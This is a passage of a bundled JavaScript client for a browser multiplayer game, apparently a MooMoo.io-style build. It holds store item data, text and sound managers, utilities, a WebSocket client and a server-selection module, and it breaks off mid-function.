                        var tmpProj;
                        for (var i = 0; i < projectiles.length; ++i) {
                            if (!projectiles[i].active) {
                                tmpProj = projectiles[i];
                                break;
                            }
                        } if (!tmpProj) {
                            tmpProj = new Projectile(players, ais, objectManager, items, config, UTILS, server);
                            tmpProj.sid = projectiles.length;
                            projectiles.push(tmpProj);
                        }
                        tmpProj.init(indx, x, y, dir, speed, tmpData.dmg, range, tmpData.scale, owner);
                        tmpProj.ignoreObj = ignoreObj;
                        tmpProj.layer = layer||tmpData.layer;
                        tmpProj.src = tmpData.src;
                        return tmpProj;
                    };
                };


                /***/ }),

            /***/ "./src/js/data/store.js":
            /*!******************************!*\
  !*** ./src/js/data/store.js ***!
  \******************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // STORE HATS:
                module.exports.hats = [{
                    id: 45,
                    name: "Shame!",
                    dontSell: true,
                    price: 0,
                    scale: 120,
                    desc: "hacks are for losers"
                }, {
                    id: 51,
                    name: "Moo Cap",
                    price: 0,
                    scale: 120,
                    desc: "coolest mooer around"
                }, {
                    id: 50,
                    name: "Apple Cap",
                    price: 0,
                    scale: 120,
                    desc: "apple farms remembers"
                }, {
                    id: 28,
                    name: "Moo Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 29,
                    name: "Pig Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 30,
                    name: "Fluff Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 36,
                    name: "Pandou Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 37,
                    name: "Bear Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 38,
                    name: "Monkey Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 44,
                    name: "Polar Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 35,
                    name: "Fez Hat",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 42,
                    name: "Enigma Hat",
                    price: 0,
                    scale: 120,
                    desc: "join the enigma army"
                }, {
                    id: 43,
                    name: "Blitz Hat",
                    price: 0,
                    scale: 120,
                    desc: "hey everybody i'm blitz"
                }, {
                    id: 49,
                    name: "Bob XIII Hat",
                    price: 0,
                    scale: 120,
                    desc: "like and subscribe"
                }, {
                    id: 57,
                    name: "Pumpkin",
                    price: 50,
                    scale: 120,
                    desc: "Spooooky"
                }, {
                    id: 8,
                    name: "Bummle Hat",
                    price: 100,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 2,
                    name: "Straw Hat",
                    price: 500,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 15,
                    name: "Winter Cap",
                    price: 600,
                    scale: 120,
                    desc: "allows you to move at normal speed in snow",
                    coldM: 1
                }, {
                    id: 5,
                    name: "Cowboy Hat",
                    price: 1000,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 4,
                    name: "Ranger Hat",
                    price: 2000,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 18,
                    name: "Explorer Hat",
                    price: 2000,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 31,
                    name: "Flipper Hat",
                    price: 2500,
                    scale: 120,
                    desc: "have more control while in water",
                    watrImm: true
                }, {
                    id: 1,
                    name: "Marksman Cap",
                    price: 3000,
                    scale: 120,
                    desc: "increases arrow speed and range",
                    aMlt: 1.3
                }, {
                    id: 10,
                    name: "Bush Gear",
                    price: 3000,
                    scale: 160,
                    desc: "allows you to disguise yourself as a bush"
                }, {
                    id: 48,
                    name: "Halo",
                    price: 3000,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 6,
                    name: "Soldier Helmet",
                    price: 4000,
                    scale: 120,
                    desc: "reduces damage taken but slows movement",
                    spdMult: 0.94,
                    dmgMult: 0.75
                }, {
                    id: 23,
                    name: "Anti Venom Gear",
                    price: 4000,
                    scale: 120,
                    desc: "makes you immune to poison",
                    poisonRes: 1
                }, {
                    id: 13,
                    name: "Medic Gear",
                    price: 5000,
                    scale: 110,
                    desc: "slowly regenerates health over time",
                    healthRegen: 3
                }, {
                    id: 9,
                    name: "Miners Helmet",
                    price: 5000,
                    scale: 120,
                    desc: "earn 1 extra gold per resource",
                    extraGold: 1
                }, {
                    id: 32,
                    name: "Musketeer Hat",
                    price: 5000,
                    scale: 120,
                    desc: "reduces cost of projectiles",
                    projCost: 0.5
                }, {
                    id: 7,
                    name: "Bull Helmet",
                    price: 6000,
                    scale: 120,
                    desc: "increases damage done but drains health",
                    healthRegen: -5,
                    dmgMultO: 1.5,
                    spdMult: 0.96
                }, {
                    id: 22,
                    name: "Emp Helmet",
                    price: 6000,
                    scale: 120,
                    desc: "turrets won't attack but you move slower",
                    antiTurret: 1,
                    spdMult: 0.7
                }, {
                    id: 12,
                    name: "Booster Hat",
                    price: 6000,
                    scale: 120,
                    desc: "increases your movement speed",
                    spdMult: 1.16
                }, {
                    id: 26,
                    name: "Barbarian Armor",
                    price: 8000,
                    scale: 120,
                    desc: "knocks back enemies that attack you",
                    dmgK: 0.6
                }, {
                    id: 21,
                    name: "Plague Mask",
                    price: 10000,
                    scale: 120,
                    desc: "melee attacks deal poison damage",
                    poisonDmg: 5,
                    poisonTime: 6
                }, {
                    id: 46,
                    name: "Bull Mask",
                    price: 10000,
                    scale: 120,
                    desc: "bulls won't target you unless you attack them",
                    bullRepel: 1
                }, {
                    id: 14,
                    name: "Windmill Hat",
                    topSprite: true,
                    price: 10000,
                    scale: 120,
                    desc: "generates points while worn",
                    pps: 1.5
                }, {
                    id: 11,
                    name: "Spike Gear",
                    topSprite: true,
                    price: 10000,
                    scale: 120,
                    desc: "deal damage to players that damage you",
                    dmg: 0.45
                }, {
                    id: 53,
                    name: "Turret Gear",
                    topSprite: true,
                    price: 10000,
                    scale: 120,
                    desc: "you become a walking turret",
                    turret: {
                        proj: 1,
                        range: 700,
                        rate: 2500
                    },
                    spdMult: 0.7
                }, {
                    id: 20,
                    name: "Samurai Armor",
                    price: 12000,
                    scale: 120,
                    desc: "increased attack speed and fire rate",
                    atkSpd: 0.78
                }, {
                    id: 58,
                    name: "Dark Knight",
                    price: 12000,
                    scale: 120,
                    desc: "restores health when you deal damage",
                    healD: 0.4
                }, {
                    id: 27,
                    name: "Scavenger Gear",
                    price: 15000,
                    scale: 120,
                    desc: "earn double points for each kill",
                    kScrM: 2
                }, {
                    id: 40,
                    name: "Tank Gear",
                    price: 15000,
                    scale: 120,
                    desc: "increased damage to buildings but slower movement",
                    spdMult: 0.3,
                    bDmg: 3.3
                }, {
                    id: 52,
                    name: "Thief Gear",
                    price: 15000,
                    scale: 120,
                    desc: "steal half of a players gold when you kill them",
                    goldSteal: 0.5
                }, {
                    id: 55,
                    name: "Bloodthirster",
                    price: 20000,
                    scale: 120,
                    desc: "Restore Health when dealing damage. And increased damage",
                    healD: 0.25,
                    dmgMultO: 1.2,
                }, {
                    id: 56,
                    name: "Assassin Gear",
                    price: 20000,
                    scale: 120,
                    desc: "Go invisible when not moving. Can't eat. Increased speed",
                    noEat: true,
                    spdMult: 1.1,
                    invisTimer: 1000
                }];

                // STORE ACCESSORIES:
                module.exports.accessories = [{
                    id: 12,
                    name: "Snowball",
                    price: 1000,
                    scale: 105,
                    xOff: 18,
                    desc: "no effect"
                }, {
                    id: 9,
                    name: "Tree Cape",
                    price: 1000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 10,
                    name: "Stone Cape",
                    price: 1000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 3,
                    name: "Cookie Cape",
                    price: 1500,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 8,
                    name: "Cow Cape",
                    price: 2000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 11,
                    name: "Monkey Tail",
                    price: 2000,
                    scale: 97,
                    xOff: 25,
                    desc: "Super speed but reduced damage",
                    spdMult: 1.35,
                    dmgMultO: 0.2
                }, {
                    id: 17,
                    name: "Apple Basket",
                    price: 3000,
                    scale: 80,
                    xOff: 12,
                    desc: "slowly regenerates health over time",
                    healthRegen: 1
                }, {
                    id: 6,
                    name: "Winter Cape",
                    price: 3000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 4,
                    name: "Skull Cape",
                    price: 4000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 5,
                    name: "Dash Cape",
                    price: 5000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 2,
                    name: "Dragon Cape",
                    price: 6000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 1,
                    name: "Super Cape",
                    price: 8000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 7,
                    name: "Troll Cape",
                    price: 8000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 14,
                    name: "Thorns",
                    price: 10000,
                    scale: 115,
                    xOff: 20,
                    desc: "no effect"
                }, {
                    id: 15,
                    name: "Blockades",
                    price: 10000,
                    scale: 95,
                    xOff: 15,
                    desc: "no effect"
                }, {
                    id: 20,
                    name: "Devils Tail",
                    price: 10000,
                    scale: 95,
                    xOff: 20,
                    desc: "no effect"
                }, {
                    id: 16,
                    name: "Sawblade",
                    price: 12000,
                    scale: 90,
                    spin: true,
                    xOff: 0,
                    desc: "deal damage to players that damage you",
                    dmg: 0.15
                }, {
                    id: 13,
                    name: "Angel Wings",
                    price: 15000,
                    scale: 138,
                    xOff: 22,
                    desc: "slowly regenerates health over time",
                    healthRegen: 3
                }, {
                    id: 19,
                    name: "Shadow Wings",
                    price: 15000,
                    scale: 138,
                    xOff: 22,
                    desc: "increased movement speed",
                    spdMult: 1.1
                }, {
                    id: 18,
                    name: "Blood Wings",
                    price: 20000,
                    scale: 178,
                    xOff: 26,
                    desc: "restores health when you deal damage",
                    healD: 0.2
                }, {
                    id: 21,
                    name: "Corrupt X Wings",
                    price: 20000,
                    scale: 178,
                    xOff: 26,
                    desc: "deal damage to players that damage you",
                    dmg: 0.25
                }];


                /***/ }),

            /***/ "./src/js/libs/animText.js":
            /*!*********************************!*\
  !*** ./src/js/libs/animText.js ***!
  \*********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // ANIMATED TEXT:
                module.exports.AnimText = function() {

                    // INIT:
                    this.init = function(x, y, scale, speed, life, text, color) {
                        this.x = x;
                        this.y = y;
                        this.color = color;
                        this.scale = scale;
                        this.startScale = this.scale;
                        this.maxScale = scale * 1.5;
                        this.scaleSpeed = .7;
                        this.speed = speed;
                        this.life = life;
                        this.text = text;
                    };

                    // UPDATE:
                    this.update = function(delta) {
                        if (this.life) {
                            this.life -= delta;
                            this.y -= this.speed * delta;
                            this.scale += this.scaleSpeed * delta;
                            if (this.scale >= this.maxScale) {
                                this.scale = this.maxScale;
                                this.scaleSpeed *= -1;
                            } else if (this.scale <= this.startScale) {
                                this.scale = this.startScale;
                                this.scaleSpeed = 0;
                            }
                            if (this.life <= 0) {
                                this.life = 0;
                            }
                        }
                    };

                    // RENDER:
                    this.render = function(ctxt, xOff, yOff) {
                        ctxt.fillStyle = this.color;
                        ctxt.font = this.scale + "px Hammersmith One";
                        ctxt.fillText(this.text, this.x - xOff, this.y - yOff);
                    };

                }

                // TEXT MANAGER:
                module.exports.TextManager = function() {
                    this.texts = [];

                    // UPDATE:
                    this.update = function(delta, ctxt, xOff, yOff) {
                        ctxt.textBaseline = "middle";
                        ctxt.textAlign = "center";
                        for (var i = 0; i < this.texts.length; ++i) {
                            if (this.texts[i].life) {
                                this.texts[i].update(delta);
                                this.texts[i].render(ctxt, xOff, yOff);
                            }
                        }
                    };

                    // SHOW TEXT:
                    this.showText = function(x, y, scale, speed, life, text, color) {
                        var tmpText;
                        for (var i = 0; i < this.texts.length; ++i) {
                            if (!this.texts[i].life) {
                                tmpText = this.texts[i];
                                break;
                            }
                        }
                        if (!tmpText) {
                            tmpText = new module.exports.AnimText();
                            this.texts.push(tmpText);
                        }
                        tmpText.init(x, y, scale, speed, life, text, color);
                    };
                }


                /***/ }),

            /***/ "./src/js/libs/io-client.js":
            /*!**********************************!*\
  !*** ./src/js/libs/io-client.js ***!
  \**********************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                var msgpack = __webpack_require__(/*! msgpack-lite */ "./node_modules/msgpack-lite/lib/browser.js");
                var config = __webpack_require__(/*! ../config */ "./src/js/config.js");

                module.exports = {
                    socket: null,
                    connected: false,
                    socketId: -1,
                    connect: function(address, callback, events) {
                        if (this.socket) return;

                        // CREATE SOCKET:
                        var _this = this;
                        try {
                            var socketError = false;
                            var socketAddress = address;
                            this.socket = new WebSocket(socketAddress);
                            this.socket.binaryType = "arraybuffer";
                            this.socket.onmessage = function(message) {

                                // PARSE MESSAGE:
                                var data = new Uint8Array(message.data);
                                var parsed = msgpack.decode(data);
                                var type = parsed[0];
                                var data = parsed[1];

                                // CALL EVENT:
                                if (type == "io-init") {
                                    _this.socketId = data[0];
                                } else {
                                    events[type].apply(undefined, data);
                                }
                            };
                            this.socket.onopen = function() {
                                _this.connected = true;
                                callback();
                            };
                            this.socket.onclose = function(event) {
                                _this.connected = false;
                                if (event.code == 4001) {
                                    callback("Invalid Connection");
                                } else if (!socketError) {
                                    callback("disconnected");
                                }
                            };
                            this.socket.onerror = function(error) {
                                if (this.socket && this.socket.readyState != WebSocket.OPEN) {
                                    socketError = true;
                                    console.error("Socket error", arguments);
                                    callback("Socket error");
                                }
                            };
                        } catch(e) {
                            console.warn("Socket connection error:", e);
                            callback(e);
                        }
                    },
                    send: function(type) {
                        // EXTRACT DATA ARRAY:
                        var data = Array.prototype.slice.call(arguments, 1);

                        // SEND MESSAGE:
                        var binary = msgpack.encode([type, data]);
                        this.socket.send(binary);
                    },
                    socketReady: function() {
                        return (this.socket && this.connected);
                    },
                    close: function() {
                        this.socket && this.socket.close();
                    }
                };


                /***/ }),

            /***/ "./src/js/libs/modernizr.js":
            /*!**********************************!*\
  !*** ./src/js/libs/modernizr.js ***!
  \**********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                !function(e,n,s){function o(e,n){return typeof e===n}function a(){var e,n,s,a,t,f,l;for(var c in r)if(r.hasOwnProperty(c)){if(e=[],n=r[c],n.name&&(e.push(n.name.toLowerCase()),n.options&&n.options.aliases&&n.options.aliases.length))for(s=0;s<n.options.aliases.length;s++)e.push(n.options.aliases[s].toLowerCase());for(a=o(n.fn,"function")?n.fn():n.fn,t=0;t<e.length;t++)f=e[t],l=f.split("."),1===l.length?Modernizr[l[0]]=a:(!Modernizr[l[0]]||Modernizr[l[0]]instanceof Boolean||(Modernizr[l[0]]=new Boolean(Modernizr[l[0]])),Modernizr[l[0]][l[1]]=a),i.push((a?"":"no-")+l.join("-"))}}function t(e){var n=l.className,s=Modernizr._config.classPrefix||"";if(c&&(n=n.baseVal),Modernizr._config.enableJSClass){var o=new RegExp("(^|\\s)"+s+"no-js(\\s|$)");n=n.replace(o,"$1"+s+"js$2")}Modernizr._config.enableClasses&&(n+=" "+s+e.join(" "+s),c?l.className.baseVal=n:l.className=n)}var i=[],r=[],f={_version:"3.5.0",_config:{classPrefix:"",enableClasses:!0,enableJSClass:!0,usePrefixes:!0},_q:[],on:function(e,n){var s=this;setTimeout(function(){n(s[e])},0)},addTest:function(e,n,s){r.push({name:e,fn:n,options:s})},addAsyncTest:function(e){r.push({name:null,fn:e})}},Modernizr=function(){};Modernizr.prototype=f,Modernizr=new Modernizr;var l=n.documentElement,c="svg"===l.nodeName.toLowerCase();Modernizr.addTest("passiveeventlisteners",function(){var n=!1;try{var s=Object.defineProperty({},"passive",{get:function(){n=!0}});e.addEventListener("test",null,s)}catch(o){}return n}),a(),t(i),delete f.addTest,delete f.addAsyncTest;for(var u=0;u<Modernizr._q.length;u++)Modernizr._q[u]();e.Modernizr=Modernizr}(window,document);


                /***/ }),

            /***/ "./src/js/libs/soundManager.js":
            /*!*************************************!*\
  !*** ./src/js/libs/soundManager.js ***!
  \*************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // PLAYER MANAGER:
                module.exports.obj = function(config, UTILS) {

                    // INIT:
                    var tmpSound;
                    this.sounds = [];
                    this.active = true;

                    // PLAY SOUND:
                    this.play = function(id, volume, loop) {
                        if (!volume || !this.active) return;
                        tmpSound = this.sounds[id];
                        if (!tmpSound) {
                            tmpSound = new Howl({
                                src: ".././sound/" + id + ".mp3"
                            });
                            this.sounds[id] = tmpSound;
                        }
                        if (!loop || !tmpSound.isPlaying) {
                            tmpSound.isPlaying = true;
                            tmpSound.play();
                            tmpSound.volume((volume||1)*config.volumeMult);
                            tmpSound.loop(loop);
                        }
                    };

                    // TOGGLE MUTE:
                    this.toggleMute = function(id, mute) {
                        tmpSound = this.sounds[id];
                        if (tmpSound) tmpSound.mute(mute);
                    };

                    // STOP SOUND:
                    this.stop = function(id) {
                        tmpSound = this.sounds[id];
                        if (tmpSound) {
                            tmpSound.stop();
                            tmpSound.isPlaying = false;
                        }
                    };

                };


                /***/ }),

            /***/ "./src/js/libs/utils.js":
            /*!******************************!*\
  !*** ./src/js/libs/utils.js ***!
  \******************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // MATH UTILS:
                var mathABS = Math.abs;
                var mathCOS = Math.cos;
                var mathSIN = Math.sin;
                var mathPOW = Math.pow;
                var mathSQRT = Math.sqrt;
                var mathABS = Math.abs;
                var mathATAN2 = Math.atan2;
                var mathPI = Math.PI;

                // GLOBAL UTILS:
                module.exports.randInt = function (min, max) {
                    return Math.floor(Math.random() * (max - min + 1)) + min;
                };
                module.exports.randFloat = function (min, max) {
                    return Math.random() * (max - min + 1) + min;
                };
                module.exports.lerp = function (value1, value2, amount) {
                    return value1 + (value2 - value1) * amount;
                };
                module.exports.decel = function (val, cel) {
                    if (val > 0)
                        val = Math.max(0, val - cel);
                    else if (val < 0)
                        val = Math.min(0, val + cel);
                    return val;
                };
                module.exports.getDistance = function (x1, y1, x2, y2) {
                    return mathSQRT((x2 -= x1) * x2 + (y2 -= y1) * y2);
                };
                module.exports.getDirection = function (x1, y1, x2, y2) {
                    return mathATAN2(y1 - y2, x1 - x2);
                };
                module.exports.getAngleDist = function (a, b) {
                    var p = mathABS(b - a) % (mathPI * 2);
                    return (p > mathPI ? (mathPI * 2) - p : p);
                };
                module.exports.isNumber = function (n) {
                    return (typeof n == "number" && !isNaN(n) && isFinite(n));
                };
                module.exports.isString = function (s) {
                    return (s && typeof s == "string");
                };
                module.exports.kFormat = function (num) {
                    return num > 999 ? (num / 1000).toFixed(1) + 'k' : num;
                };
                module.exports.capitalizeFirst = function (string) {
                    return string.charAt(0).toUpperCase() + string.slice(1);
                };
                module.exports.fixTo = function (n, v) {
                    return parseFloat(n.toFixed(v));
                };
                module.exports.sortByPoints = function (a, b) {
                    return parseFloat(b.points) - parseFloat(a.points);
                };
                module.exports.lineInRect = function (recX, recY, recX2, recY2, x1, y1, x2, y2) {
                    var minX = x1;
                    var maxX = x2;
                    if (x1 > x2) {
                        minX = x2;
                        maxX = x1;
                    }
                    if (maxX > recX2)
                        maxX = recX2;
                    if (minX < recX)
                        minX = recX;
                    if (minX > maxX)
                        return false;
                    var minY = y1;
                    var maxY = y2;
                    var dx = x2 - x1;
                    if (Math.abs(dx) > 0.0000001) {
                        var a = (y2 - y1) / dx;
                        var b = y1 - a * x1;
                        minY = a * minX + b;
                        maxY = a * maxX + b;
                    }
                    if (minY > maxY) {
                        var tmp = maxY;
                        maxY = minY;
                        minY = tmp;
                    }
                    if (maxY > recY2)
                        maxY = recY2;
                    if (minY < recY)
                        minY = recY;
                    if (minY > maxY)
                        return false;
                    return true;
                };
                module.exports.containsPoint = function (element, x, y) {
                    var bounds = element.getBoundingClientRect();
                    var left = bounds.left + window.scrollX;
                    var top = bounds.top + window.scrollY;
                    var width = bounds.width;
                    var height = bounds.height;

                    var insideHorizontal = x > left && x < left + width;
                    var insideVertical = y > top && y < top + height;
                    return insideHorizontal && insideVertical;
                };
                module.exports.mousifyTouchEvent = function(event) {
                    var touch = event.changedTouches[0];
                    event.screenX = touch.screenX;
                    event.screenY = touch.screenY;
                    event.clientX = touch.clientX;
                    event.clientY = touch.clientY;
                    event.pageX = touch.pageX;
                    event.pageY = touch.pageY;
                };
                module.exports.hookTouchEvents = function (element, skipPrevent) {
                    var preventDefault = !skipPrevent;
                    var isHovering = false;
                    // var passive = window.Modernizr.passiveeventlisteners ? {passive: true} : false;
                    var passive = false;
                    element.addEventListener("touchstart", module.exports.checkTrusted(touchStart), passive);
                    element.addEventListener("touchmove", module.exports.checkTrusted(touchMove), passive);
                    element.addEventListener("touchend", module.exports.checkTrusted(touchEnd), passive);
                    element.addEventListener("touchcancel", module.exports.checkTrusted(touchEnd), passive);
                    element.addEventListener("touchleave", module.exports.checkTrusted(touchEnd), passive);
                    function touchStart(e) {
                        module.exports.mousifyTouchEvent(e);
                        window.setUsingTouch(true);
                        if (preventDefault) {
                            e.preventDefault();
                            e.stopPropagation();
                        }
                        if (element.onmouseover)
                            element.onmouseover(e);
                        isHovering = true;
                    }
                    function touchMove(e) {
                        module.exports.mousifyTouchEvent(e);
                        window.setUsingTouch(true);
                        if (preventDefault) {
                            e.preventDefault();
                            e.stopPropagation();
                        }
                        if (module.exports.containsPoint(element, e.pageX, e.pageY)) {
                            if (!isHovering) {
                                if (element.onmouseover)
                                    element.onmouseover(e);
                                isHovering = true;
                            }
                        } else {
                            if (isHovering) {
                                if (element.onmouseout)
                                    element.onmouseout(e);
                                isHovering = false;
                            }
                        }
                    }
                    function touchEnd(e) {
                        module.exports.mousifyTouchEvent(e);
                        window.setUsingTouch(true);
                        if (preventDefault) {
                            e.preventDefault();
                            e.stopPropagation();
                        }
                        if (isHovering) {
                            if (element.onclick)
                                element.onclick(e);
                            if (element.onmouseout)
                                element.onmouseout(e);
                            isHovering = false;
                        }
                    }
                };
                module.exports.removeAllChildren = function (element) {
                    while (element.hasChildNodes()) {
                        element.removeChild(element.lastChild);
                    }
                };
                module.exports.generateElement = function (config) {
                    var element = document.createElement(config.tag || "div");
                    function bind(configValue, elementValue) {
                        if (config[configValue])
                            element[elementValue] = config[configValue];
                    }
                    bind("text", "textContent");
                    bind("html", "innerHTML");
                    bind("class", "className");
                    for (var key in config) {
                        switch (key) {
                            case "tag":
                            case "text":
                            case "html":
                            case "class":
                            case "style":
                            case "hookTouch":
                            case "parent":
                            case "children":
                                continue;
                            default:
                                break;
                        }
                        element[key] = config[key];
                    }
                    if (element.onclick)
                        element.onclick = module.exports.checkTrusted(element.onclick);
                    if (element.onmouseover)
                        element.onmouseover = module.exports.checkTrusted(element.onmouseover);
                    if (element.onmouseout)
                        element.onmouseout = module.exports.checkTrusted(element.onmouseout);
                    if (config.style) {
                        element.style.cssText = config.style;
                    }
                    if (config.hookTouch) {
                        module.exports.hookTouchEvents(element);
                    }
                    if (config.parent) {
                        config.parent.appendChild(element);
                    }
                    if (config.children) {
                        for (var i = 0; i < config.children.length; i++) {
                            element.appendChild(config.children[i]);
                        }
                    }
                    return element;
                }
                module.exports.eventIsTrusted = function(ev) {
                    if (ev && typeof ev.isTrusted == "boolean") {
                        return ev.isTrusted;
                    } else {
                        return true;
                    }
                }
                module.exports.checkTrusted = function(callback) {
                    return function(ev) {
                        if (ev && ev instanceof Event && module.exports.eventIsTrusted(ev)) {
                            callback(ev);
                        } else {
                            //console.error("Event is not trusted.", ev);
                        }
                    }
                }
                module.exports.randomString = function(length) {
                    var text = "";
                    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
                    for (var i = 0; i < length; i++) {
                        text += possible.charAt(Math.floor(Math.random() * possible.length));
                    }
                    return text;
                };
                module.exports.countInArray = function(array, val) {
                    var count = 0;
                    for (var i = 0; i < array.length; i++) {
                        if (array[i] === val) count++;
                    } return count;
                };


                /***/ }),

            /***/ "./vultr/VultrClient.js":
            /*!******************************!*\
  !*** ./vultr/VultrClient.js ***!
  \******************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                var url = __webpack_require__(/*! url */ "./node_modules/url/url.js");
                var md5 = __webpack_require__(/*! md5 */ "./node_modules/md5/md5.js");

                function VultrClient(baseUrl, devPort, lobbySize, lobbySpread, rawIPs) {
                    // Redirect from "localhost" to "127.0.0.1" if needed; this is because the server
                    // manager uses "127.0.0.1" as the home
                    if (location.hostname == "localhost") {
                        window.location.hostname = "127.0.0.1";
                    }

                    // Don't log anything
                    this.debugLog = false;

                    // Save the base data
                    this.baseUrl = baseUrl;
                    this.lobbySize = lobbySize;
                    this.devPort = devPort;
                    this.lobbySpread = lobbySpread;
                    this.rawIPs = !!rawIPs;

                    // Default data
                    this.server = undefined;
                    this.gameIndex = undefined;

                    // Callback for the client
                    this.callback = undefined;
                    this.errorCallback = undefined;

                    // Process the servers
                    //this.processServers([{"ip":"e1ce84acd1621e1dd32b19d715fe0fab","scheme":"mm_prod","region":"vultr:8","index":15,"games":[{"playerCount":33,"isPrivate":false}]}]);
                    this.processServers(vultr.servers)
                }

                VultrClient.prototype.regionInfo = {
                    0: { name: "Local", latitude: 0, longitude: 0 },
                    "vultr:1": { name: "New Jersey", latitude: 40.1393329, longitude: -75.8521818 },
                    "vultr:2": { name: "Chicago", latitude: 41.8339037, longitude: -87.872238 },
                    "vultr:3": { name: "Dallas", latitude: 32.8208751, longitude: -96.8714229 },
                    "vultr:4": { name: "Seattle", latitude: 47.6149942, longitude: -122.4759879 },
                    "vultr:5": { name: "Los Angeles", latitude: 34.0207504, longitude: -118.691914 },
                    "vultr:6": { name: "Atlanta", latitude: 33.7676334, longitude: -84.5610332 },
                    "vultr:7": { name: "Amsterdam", latitude: 52.3745287, longitude: 4.7581878 },
                    "vultr:8": { name: "London", latitude: 51.5283063, longitude: -0.382486 },
                    "vultr:9": { name: "Frankfurt", latitude: 50.1211273, longitude: 8.496137 },
                    "vultr:12": { name: "Silicon Valley", latitude: 37.4024714, longitude: -122.3219752 },
                    "vultr:19": { name: "Sydney", latitude: -33.8479715, longitude: 150.651084 },
                    "vultr:24": { name: "Paris", latitude: 48.8588376, longitude: 2.2773454 },
                    "vultr:25": { name: "Tokyo", latitude: 35.6732615, longitude: 139.569959 },
                    "vultr:39": { name: "Miami", latitude: 25.7823071, longitude: -80.3012156 },
                    "vultr:40": { name: "Singapore", latitude: 1.3147268, longitude: 103.7065876 }
                };

                VultrClient.prototype.start = function(callback, errorCallback) {
                    // Set the callback
                    this.callback = callback;
                    this.errorCallback = errorCallback;

                    // Parse the query for a server; if doesn't exist, ping the servers to find
                    // the right one
                    var query = this.parseServerQuery();
                    if (query) {
                        this.log("Found server in query.");
                        this.password = query[3];
                        this.connect(query[0], query[1], query[2]);
                    } else {
                        this.log("Pinging servers...");
                        this.pingServers();
                    }
                };

                VultrClient.prototype.parseServerQuery = function() {
                    // Get the server from the query
                    var parsed = url.parse(location.href, true);
                    var serverRaw = parsed.query.server;
                    if (typeof serverRaw != "string") {
                        return;
                    }

                    // Parse the server string
                    var split = serverRaw.split(":");
                    if (split.length != 3) {
                        this.errorCallback("Invalid number of server parameters in " + serverRaw);
                        return;
                    }
                    var region = split[0];
                    var index = parseInt(split[1]);
                    var gameIndex = parseInt(split[2]);

                    if (region != "0" && !region.startsWith("vultr:")) {
                        region = "vultr:" + region;
                    }

                    return [region, index, gameIndex, parsed.query.password];
                };

                VultrClient.prototype.findServer = function(region, index) {
                    // Find the list of servers for the region
                    var serverList = this.servers[region];
                    if (!Array.isArray(serverList)) {
                        this.errorCallback("No server list for region " + region);
                        return;
                    }

                    // Find the server matching the index
                    for (var i = 0; i < serverList.length; i++) {
                        var server = serverList[i];

                        if (server.index == index) {
                            return server;
                        }
                    }

                    // Otherwise, return nothing
                    console.warn("Could not find server in region " + region + " with index " + index + ".");
                    return;
                };

                VultrClient.prototype.pingServers = function() {
                    var _this = this;

                    // Ping random servers from each region
                    var requests = [];
                    for (var region in this.servers) {
                        // Find the server to ping
                        if (!this.servers.hasOwnProperty(region)) continue;
                        var serverList = this.servers[region];
                        var targetServer = serverList[Math.floor(Math.random() * serverList.length)];

                        // Handle no server
                        if (targetServer == undefined) {
                            console.log("No target server for region " + region);
                            continue;
                        }

                        // Ping the server
                        (function(serverList, targetServer) {
                            var request = new XMLHttpRequest();
                            request.onreadystatechange = function(requestEvent) {
                                var request = requestEvent.target;

                                // Ensure that the request finished
                                if (request.readyState != 4)
                                    return;

                                if (request.status == 200) {
                                    // Stop all other ping requests
                                    for (var i = 0; i < requests.length; i++) {
                                        requests[i].abort();
                                    }

                                    _this.log("Connecting to region", targetServer.region);

                                    // Seek the appropriate server
                                    var targetGame = _this.seekServer(targetServer.region);
                                    _this.connect(targetGame[0], targetGame[1], targetGame[2]);
                                } else {
                                    console.warn("Error pinging " + targetServer.ip + " in region " + region);
                                }
                            };

                            var targetAddress = "//" + _this.serverAddress(targetServer.ip, true) + ":" + _this.serverPort(targetServer) + "/ping";
                            request.open("GET", targetAddress, true);
                            request.send(null);

                            _this.log("Pinging", targetAddress);

                            // Save the request
                            requests.push(request);
                        })(serverList, targetServer);
                    }
                };

                /// Finds a new server; region is the index of the region to look in; game mode is the mode to search for;
                /// reload is wether a connection should be created or the page should be redirected
                VultrClient.prototype.seekServer = function(region, isPrivate, gameMode) {
                    if (gameMode == undefined) {
                        gameMode = "random";
                    }
                    if (isPrivate == undefined) {
                        isPrivate = false;
                    }

                    // Define configuration
                    const gameModeList = [ "random" ];
                    var lobbySize = this.lobbySize;
                    var lobbySpread = this.lobbySpread;

                    // Sort the servers by player count then filter by available servers
                    var servers = this.servers[region]
                    .flatMap(function(s) {
